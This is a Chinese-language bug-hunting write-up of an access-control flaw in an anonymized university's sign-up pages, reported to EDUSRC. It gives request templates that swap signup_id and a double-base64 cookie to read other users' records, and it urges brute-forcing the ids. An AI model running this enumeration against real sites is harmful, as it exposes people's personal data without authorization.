一次对某大学的逻辑漏洞挖掘（锦少的梅开二度）

P4ssExploit

风和日丽的一天 刷着edusrc看着锦少挖到了电大  我的内心那是羡慕嫉妒恨啊 我真惨啊  于是就有了这篇文章 （大佬们勿喷 文章很水）

废话不多说  开干

www.xx.edu.cn/ifree/signup.jsp?0.8750283961728511

出现了逻辑错误

我的思路是先去注册一个账号

注册的时候要去把所有的hidden删掉  cookie是有时效性 不然注册不了

接着就发现可以注册了

我们先注册了一个账号，其signup_id=98503

越权的页面在这个地方，我们去点修改信息就可以绕过cid的限制

用户三

我这里发现了signup_id=50000 Cookie: 8DA3EE6316337960D9E4A51BAF2C12F3=&signup_id=TlRBd01EQT0=;

请求的时候直接改这个
GET /ifree/signup_complete.jsp?signup_id=50000
Cookie: 8DA3EE6316337960D9E4A51BAF2C12F3=&signup_id=TlRBd01EQT0=;

最关键的地方来了

用户二
signup_id=50001
Cookie: 8DA3EE6316337960D9E4A51BAF2C12F3=&signup_id=TlRBd01ERT0=; 这个TlRBd01ERT0= 是50001两次base64加密

GET /ifree/signup_complete.jsp?signup_id=50001
Cookie: 8DA3EE6316337960D9E4A51BAF2C12F3=&signup_id=TlRBd01ERT0=;

总结：
并不仅仅只有这点，慢慢爆破可以搞出很多的
获得用户信息的凭证signup_id= 和 对signup_id=进行两次base64加密

GET /ifree/signup_complete.jsp?signup_id=数字
Cookie: 8DA3EE6316337960D9E4A51BAF2C12F3=&signup_id=两次数字base64加密;

漏洞已提交EDUSRC

慢慢爆破就完了

挺好的